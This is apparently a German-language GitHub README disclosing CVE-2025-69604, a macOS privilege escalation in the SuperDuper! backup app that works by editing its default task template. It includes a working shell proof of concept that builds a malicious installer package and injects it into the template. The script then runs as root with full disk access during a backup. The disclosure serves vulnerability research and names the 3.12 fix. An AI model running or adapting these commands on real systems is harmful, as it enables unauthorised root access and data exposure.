graypixel2121/cve-2025-69604Proof-of-concept-Exploit für CVE-2025-69604, der eine Privilegieneskalation durch die Installation bösartiger Pakete in SuperDuper-Sicherungsaufgaben unter macOS demonstriert.
Diese Schwachstelle ähnelt derjenigen, die in CVE-2025-61229 beschrieben ist – ein Angreifer kann die Aufgaben-Vorlage bearbeiten, um SuperDuper-Sicherungsaufgaben dazu zu bringen, ein beliebiges Paket zu installieren. Das Paket kann dann Shell-Skripte als Root-Benutzer und mit der höchsten Stufe des Datenschutzzugriffs (vollständiger Festplattenzugriff) ausführen.
CVSS 3.1 Score: NVD-Bewertung steht aus.
Um diese Schwachstelle zu vermeiden, löschen Sie entweder die SuperDuper!-Anwendung oder wenden Sie das Update 3.12 an.
Diese Exploit-Analyse und der Proof of Concept dienen ausschließlich zu Bildungszwecken. Nutzung auf eigenes Risiko.
In meiner vorherigen Analyse der SuperDuper CVE-2025-61229-Schwachstelle stellte ich fest, dass die Standardvorlage für SuperDuper-Einstellungen selbst nachdem der Entwickler diese Schwachstelle im SuperDuper 3.11-Update behoben hatte, weiterhin grundsätzlich unsicher war. Jenes Update behandelte nur die spezifische in CVE-2025-61229 beschriebene Schwachstelle, ging jedoch nicht darauf ein, dass ein Angreifer die Standardaufgaben-Vorlage ändern könnte. Schicksalhafterweise enthält die Aufgaben-Vorlage eine Funktion zum Installieren von Paketen, sodass ein Angreifer die Aufgaben-Vorlage so ändern kann, dass ein Paket angegeben wird, das Software installieren oder Shell-Skripte als Root-Benutzer und mit vollständigem Festplattenzugriff ausführen kann.
Der Entwickler milderte diese Schwachstelle, indem er die „Paket installieren“-Funktion entfernte. Auch hier kann die Aufgaben-Einstellungsvorlage weiterhin von einem Angreifer geändert werden, und der Entwickler gab sogar an, dass dies nicht behoben werden könne, ohne den Benutzer zu belästigen (d. h. dass der Benutzer jedes Mal authentifizieren müsse, wenn die Aufgabe geändert wird). Daher scheint es, dass die Standardaufgaben-Vorlage auf absehbare Zeit anfällig für Modifikationen bleiben wird, da der Entwickler keinen anderen Weg gefunden hat, sie sicherer zu machen.
Meine vorherige Schlussfolgerung ist es wert, wiederholt zu werden: Root-Rechte und vollständiger Festplattenzugriff sind die höchsten Privilegien, die Software unter macOS erlangen kann. Jeder Entwickler, der diese Privilegien verlangt, sollte Software schreiben, die modernen Sicherheitsdesignprinzipien und Best Practices folgt. Diese Schwachstelle sowie die in CVE-2025-57489 und CVE-2025-61228 offengelegten Schwachstellen, und sogar die eigene Aussage des Entwicklers, dass diese Probleme seit 22 Jahren bestehen, zeigen, dass SuperDuper nicht als sicheres Produkt konzipiert wurde und in 22 Jahren keine regelmäßigen Designverbesserungen erfahren hat, um modernen Best Practices zu entsprechen.
Diese Schwachstelle wird fast auf die gleiche Weise ausgenutzt wie CVE-2025-61229, daher verweise ich weitgehend auf meine vorherige Analyse dieser Schwachstelle hier. Der folgende Proof of Concept demonstriert den Exploit mit Version 3.11 von SuperDuper:
mkdir -p /tmp/scripts
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\n' > /tmp/scripts/preinstall
printf "ls -l $home/Desktop > /Library/private_data.txt\n" >> /tmp/scripts/preinstall
chmod a+x /tmp/scripts/preinstall
pkgbuild --identifier com.gray.sdexploit --nopayload --scripts /tmp/scripts /tmp/attack.pkg
cd ~/'Library/Application Support/SuperDuper!/Saved Settings/.Default Settings.sdsp'
cp 'Session Settings.sdss' Settings.plist
defaults write "`pwd`"/Settings.plist SDshouldInstallPackage -bool YES
defaults write "`pwd`"/Settings.plist SDinstallerPackage /tmp/attack.pkg
cp Settings.plist 'Session Settings.sdss'
Nachdem diese Befehle ausgeführt wurden, führen Sie einfach eine Sicherung mit den Standardeinstellungen durch, und das attack.pkg wird mit Root-Rechten und vollständigem Festplattenzugriff installiert. Das Endergebnis ist eine Datei namens "private_data" in /Library (d. h. nur von Root beschreibbar), die eine Auflistung Ihres Desktop-Ordners enthält (d. h. auf die nur von Code mit vollständigem Festplattenzugriff zugegriffen werden kann).